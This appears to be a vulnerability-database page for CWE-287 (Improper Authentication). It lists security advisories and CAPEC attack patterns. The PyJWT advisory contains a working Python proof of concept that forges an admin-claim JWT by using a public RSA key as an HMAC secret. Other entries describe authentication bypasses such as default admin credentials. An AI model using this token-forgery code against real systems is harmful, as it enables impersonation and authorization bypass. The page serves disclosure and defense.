CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5952 vulnerabilities reference this CWE, most recent first.
GHSA-XGMM-8J9V-C9WX
Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-06-15 19:28[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in
algorithms=[…]and a raw-JSON JWK as thekey=argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyjwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48526"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T19:28:06Z",
"nvd_published_at": "2026-05-28T16:16:29Z",
"severity": "HIGH"
},
"details": "\u003e [!NOTE]\n\u003e Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[\u2026]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.\n\n### Summary\nWhen the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. \n\n### Details\nIn JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.\nIn pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:\n \n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\n\nAn attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. \nThe attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. \n\nIf we look on current protections implemented in the library, at class HMACAlgorithm:\n\n```\n def prepare_key(self, key: str | bytes) -\u003e bytes:\n key_bytes = force_bytes(key)\n\n if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n raise InvalidKeyError(\n \"The specified key is an asymmetric key or x509 certificate and\"\n \" should not be used as an HMAC secret.\"\n )\n\n return key_bytes\n```\nWe can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.\n\nIn The following example:\n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\nThere is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. \n\nThe bypass happens only if the verifier:\n (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.\n\n### PoC\nPlease run the code and observe the payload printed in clear text({\"sub\":\"alice\",\"admin\":true}\u0027)\n\n```\nfrom jwt.api_jws import PyJWS\nimport json, base64, hmac, hashlib\n\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# Public RSA JWK (public by design)\nrsa_jwk_json = json.dumps({\"kty\":\"RSA\",\"n\":\"AQAB\",\"e\":\"AQAB\"})\n\n# Attacker-crafted token: flip to HS256 and choose claims\nheader = b64u(b\u0027{\"alg\":\"HS256\",\"typ\":\"JWT\"}\u0027)\npayload = b64u(b\u0027{\"sub\":\"alice\",\"admin\":true}\u0027)\nsigning = header + b\".\" + payload\n\n# Sign with HMAC using the PUBLIC JWK JSON TEXT as the \u201csecret\u201d\nsig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()\ntoken = (signing + b\".\" + b64u(sig)).decode()\n\n# Vulnerable verifier: mixed families + JWK JSON string as key\njws = PyJWS()\nprint(jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"]))\n# -\u003e b\u0027{\"sub\":\"alice\",\"admin\":true}\u0027\n```\n\n\n### Impact\nUnauthenticated token forgery \u2192 full identity/role impersonation at the resource server (authorization bypass).",
"id": "GHSA-xgmm-8j9v-c9wx",
"modified": "2026-06-15T19:28:06Z",
"published": "2026-06-15T19:28:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48526"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed"
}
GHSA-XGMX-RR3C-2XGC
Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2025-04-12 12:36The MailPoet Newsletters (wysija-newsletters) plugin before 2.6.7 for WordPress allows remote attackers to bypass authentication and execute arbitrary PHP code by uploading a crafted theme using wp-admin/admin-post.php and accessing the theme in wp-content/uploads/wysija/themes/mailp/.
{
"affected": [],
"aliases": [
"CVE-2014-4725"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-07-27T18:55:00Z",
"severity": "HIGH"
},
"details": "The MailPoet Newsletters (wysija-newsletters) plugin before 2.6.7 for WordPress allows remote attackers to bypass authentication and execute arbitrary PHP code by uploading a crafted theme using wp-admin/admin-post.php and accessing the theme in wp-content/uploads/wysija/themes/mailp/.",
"id": "GHSA-xgmx-rr3c-2xgc",
"modified": "2025-04-12T12:36:10Z",
"published": "2022-05-17T04:38:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4725"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wysija-newsletters/changelog"
},
{
"type": "WEB",
"url": "http://arstechnica.com/security/2014/07/mass-exploit-of-wordpress-plugin-backdoors-sites-running-joomla-magento-too"
},
{
"type": "WEB",
"url": "http://blog.sucuri.net/2014/07/mailpoet-vulnerability-exploited-in-the-wild-breaking-thousands-of-wordpress-sites.html"
},
{
"type": "WEB",
"url": "http://blog.sucuri.net/2014/07/malware-infection-breaking-wordpress-sites.html"
},
{
"type": "WEB",
"url": "http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/07/08/7"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XGP8-2WW2-CMG3
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-08-06 00:00Multiple vulnerabilities in the web-based management interface of Cisco Small Business 220 Series Smart Switches could allow an attacker to do the following: Hijack a user session Execute arbitrary commands as a root user on the underlying operating system Conduct a cross-site scripting (XSS) attack Conduct an HTML injection attack For more information about these vulnerabilities, see the Details section of this advisory.
{
"affected": [],
"aliases": [
"CVE-2021-1542"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-613"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-16T18:15:00Z",
"severity": "HIGH"
},
"details": "Multiple vulnerabilities in the web-based management interface of Cisco Small Business 220 Series Smart Switches could allow an attacker to do the following: Hijack a user session Execute arbitrary commands as a root user on the underlying operating system Conduct a cross-site scripting (XSS) attack Conduct an HTML injection attack For more information about these vulnerabilities, see the Details section of this advisory.",
"id": "GHSA-xgp8-2ww2-cmg3",
"modified": "2022-08-06T00:00:48Z",
"published": "2022-05-24T19:05:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1542"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ciscosb-multivulns-Wwyb7s5E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGRH-89P6-C4PW
Vulnerability from github – Published: 2022-05-17 01:25 – Updated: 2022-05-17 01:25The debug console interface on Cisco Small Business SPA300 and SPA500 phones does not properly perform authentication, which allows local users to execute arbitrary debug-shell commands, or read or modify data in memory or a filesystem, via direct access to this interface, aka Bug ID CSCun77435.
{
"affected": [],
"aliases": [
"CVE-2014-3312"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-07-09T11:07:00Z",
"severity": "MODERATE"
},
"details": "The debug console interface on Cisco Small Business SPA300 and SPA500 phones does not properly perform authentication, which allows local users to execute arbitrary debug-shell commands, or read or modify data in memory or a filesystem, via direct access to this interface, aka Bug ID CSCun77435.",
"id": "GHSA-xgrh-89p6-c4pw",
"modified": "2022-05-17T01:25:08Z",
"published": "2022-05-17T01:25:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3312"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94421"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2014-3312"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/68465"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1030552"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XH3C-JH29-G5WJ
Vulnerability from github – Published: 2023-07-13 03:30 – Updated: 2024-04-04 06:06An information disclosure issue in GitLab CE/EE affecting all versions from 16.0 prior to 16.0.6, and version 16.1.0 allows unauthenticated actors to access the import error information if a project was imported from GitHub.
{
"affected": [],
"aliases": [
"CVE-2023-3362"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-209",
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-13T03:15:10Z",
"severity": "MODERATE"
},
"details": "An information disclosure issue in GitLab CE/EE affecting all versions from 16.0 prior to 16.0.6, and version 16.1.0 allows unauthenticated actors to access the import error information if a project was imported from GitHub.",
"id": "GHSA-xh3c-jh29-g5wj",
"modified": "2024-04-04T06:06:27Z",
"published": "2023-07-13T03:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3362"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/415131"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XH63-F847-M5R7
Vulnerability from github – Published: 2023-02-28 18:30 – Updated: 2023-03-08 00:30An issue was discovered in Docmosis Tornado prior to version 2.9.5. An unauthenticated attacker can bypass the authentication check filter completely by introducing a specially crafted request with relative path segments.
{
"affected": [],
"aliases": [
"CVE-2023-25264"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-28T16:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Docmosis Tornado prior to version 2.9.5. An unauthenticated attacker can bypass the authentication check filter completely by introducing a specially crafted request with relative path segments.",
"id": "GHSA-xh63-f847-m5r7",
"modified": "2023-03-08T00:30:32Z",
"published": "2023-02-28T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25264"
},
{
"type": "WEB",
"url": "https://frycos.github.io/vulns4free/2023/01/24/0days-united-nations.html"
},
{
"type": "WEB",
"url": "https://resources.docmosis.com/content/documentation/tornado-v2-9-5-release-notes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XH6J-GJ5F-HRPP
Vulnerability from github – Published: 2022-06-17 00:01 – Updated: 2026-07-05 00:31In IOBit IOTransfer 4.3.1.1561, an unauthenticated attacker can send GET and POST requests to Airserv and gain arbitrary read/write access to the entire file-system (with admin privileges) on the victim's endpoint, which can result in data theft and remote code execution.
{
"affected": [],
"aliases": [
"CVE-2022-24562"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-16T19:15:00Z",
"severity": "CRITICAL"
},
"details": "In IOBit IOTransfer 4.3.1.1561, an unauthenticated attacker can send GET and POST requests to Airserv and gain arbitrary read/write access to the entire file-system (with admin privileges) on the victim\u0027s endpoint, which can result in data theft and remote code execution.",
"id": "GHSA-xh6j-gj5f-hrpp",
"modified": "2026-07-05T00:31:32Z",
"published": "2022-06-17T00:01:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24562"
},
{
"type": "WEB",
"url": "https://medium.com/%40tomerp_77017/exploiting-iotransfer-insecure-api-cve-2022-24562-a2c4a3f9149d"
},
{
"type": "WEB",
"url": "https://medium.com/@tomerp_77017/exploiting-iotransfer-insecure-api-cve-2022-24562-a2c4a3f9149d"
},
{
"type": "WEB",
"url": "http://iobit.com"
},
{
"type": "WEB",
"url": "http://iotransfer.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/167775/IOTransfer-4.0-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XH72-V6V9-MWHC
Vulnerability from github – Published: 2026-04-17 22:32 – Updated: 2026-05-12 13:35Summary
Feishu webhook mode accepted missing encryptKey configuration as valid and blank card-action callback tokens as usable lifecycle tokens. Together, those fail-open paths could allow unauthenticated webhook or card-action traffic to reach command dispatch in affected deployments.
Impact
A deployment using Feishu webhook mode without a configured encryptKey, or handling malformed card-action callbacks with blank callback tokens, could fail open instead of rejecting the request. Severity remains critical because affected webhook deployments expose a network-triggered path into OpenClaw command handling without the expected Feishu signature or replay protection.
Affected versions
- Affected:
< 2026.4.15 - Patched:
2026.4.15
Fix
OpenClaw 2026.4.15 makes Feishu webhook and card-action validation fail closed. Webhook mode now refuses to start without an encryptKey, missing signing configuration returns invalid instead of valid, invalid signatures return 401, and blank card-action callback tokens are rejected before dispatch.
Verified in v2026.4.15:
extensions/feishu/src/monitor.transport.tsreturns invalid whenencryptKeyis missing, refuses webhook mode withoutencryptKey, and rejects invalid signatures before JSON handling.extensions/feishu/src/card-action.tsrejects blank callback tokens in the card-action lifecycle guard.extensions/feishu/src/monitor.webhook-security.test.tscovers missing-encryptKeystartup and transport rejection.extensions/feishu/src/monitor.card-action.lifecycle.test.tscovers malformed blank-token card actions being dropped before handler dispatch.
Fix commit included in v2026.4.15 and absent from v2026.4.14:
c8003f1b33ed2924be5f62131bd28742c5a41aaevia PR #66707
Thanks to @dhyabi2 for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44109"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-287",
"CWE-294"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T22:32:47Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nFeishu webhook mode accepted missing `encryptKey` configuration as valid and blank card-action callback tokens as usable lifecycle tokens. Together, those fail-open paths could allow unauthenticated webhook or card-action traffic to reach command dispatch in affected deployments.\n\n## Impact\n\nA deployment using Feishu webhook mode without a configured `encryptKey`, or handling malformed card-action callbacks with blank callback tokens, could fail open instead of rejecting the request. Severity remains critical because affected webhook deployments expose a network-triggered path into OpenClaw command handling without the expected Feishu signature or replay protection.\n\n## Affected versions\n\n- Affected: `\u003c 2026.4.15`\n- Patched: `2026.4.15`\n\n## Fix\n\nOpenClaw `2026.4.15` makes Feishu webhook and card-action validation fail closed. Webhook mode now refuses to start without an `encryptKey`, missing signing configuration returns invalid instead of valid, invalid signatures return `401`, and blank card-action callback tokens are rejected before dispatch.\n\nVerified in `v2026.4.15`:\n\n- `extensions/feishu/src/monitor.transport.ts` returns invalid when `encryptKey` is missing, refuses webhook mode without `encryptKey`, and rejects invalid signatures before JSON handling.\n- `extensions/feishu/src/card-action.ts` rejects blank callback tokens in the card-action lifecycle guard.\n- `extensions/feishu/src/monitor.webhook-security.test.ts` covers missing-`encryptKey` startup and transport rejection.\n- `extensions/feishu/src/monitor.card-action.lifecycle.test.ts` covers malformed blank-token card actions being dropped before handler dispatch.\n\nFix commit included in `v2026.4.15` and absent from `v2026.4.14`:\n\n- `c8003f1b33ed2924be5f62131bd28742c5a41aae` via PR #66707\n\nThanks to @dhyabi2 for reporting this issue.",
"id": "GHSA-xh72-v6v9-mwhc",
"modified": "2026-05-12T13:35:35Z",
"published": "2026-04-17T22:32:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xh72-v6v9-mwhc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44109"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/pull/66707"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/c8003f1b33ed2924be5f62131bd28742c5a41aae"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-authentication-bypass-in-feishu-webhook-and-card-action-validation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Feishu webhook and card-action validation now fail closed"
}
GHSA-XH8X-J8H3-M5PH
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-06-10 19:29An issue was discovered that affects the following versions of Rancher: v2.0.0 through v2.0.13, v2.1.0 through v2.1.8, and v2.2.0 through 2.2.1. When Rancher starts for the first time, it creates a default admin user with a well-known password. After initial setup, the Rancher administrator may choose to delete this default admin user. If Rancher is restarted, the default admin user will be recreated with the well-known default password. An attacker could exploit this by logging in with the default admin credentials. This can be mitigated by deactivating the default admin user rather than completing deleting them.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"last_affected": "2.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"last_affected": "2.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-11202"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T21:40:20Z",
"nvd_published_at": "2019-07-30T17:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered that affects the following versions of Rancher: v2.0.0 through v2.0.13, v2.1.0 through v2.1.8, and v2.2.0 through 2.2.1. When Rancher starts for the first time, it creates a default admin user with a well-known password. After initial setup, the Rancher administrator may choose to delete this default admin user. If Rancher is restarted, the default admin user will be recreated with the well-known default password. An attacker could exploit this by logging in with the default admin credentials. This can be mitigated by deactivating the default admin user rather than completing deleting them.",
"id": "GHSA-xh8x-j8h3-m5ph",
"modified": "2024-06-10T19:29:16Z",
"published": "2022-05-24T16:51:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11202"
},
{
"type": "WEB",
"url": "https://forums.rancher.com/t/rancher-release-v2-2-2-addresses-rancher-cve-2019-11202-and-stability-issues/13977"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-xh8x-j8h3-m5ph"
},
{
"type": "PACKAGE",
"url": "https://github.com/rancher/rancher"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-2784"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rancher Recreates Default User With Known Password Despite Deletion"
}
GHSA-XHFJ-8J4V-XMJJ
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36An Improper Authentication issue was discovered in OSIsoft PI Server 2017 PI Data Archive versions prior to 2017. PI Network Manager using older protocol versions contains a flaw that could allow a malicious user to authenticate with a server and then cause PI Network Manager to behave in an undefined manner.
{
"affected": [],
"aliases": [
"CVE-2017-7934"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-25T19:29:00Z",
"severity": "MODERATE"
},
"details": "An Improper Authentication issue was discovered in OSIsoft PI Server 2017 PI Data Archive versions prior to 2017. PI Network Manager using older protocol versions contains a flaw that could allow a malicious user to authenticate with a server and then cause PI Network Manager to behave in an undefined manner.",
"id": "GHSA-xhfj-8j4v-xmjj",
"modified": "2022-05-13T01:36:12Z",
"published": "2022-05-13T01:36:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7934"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-164-02"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99059"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.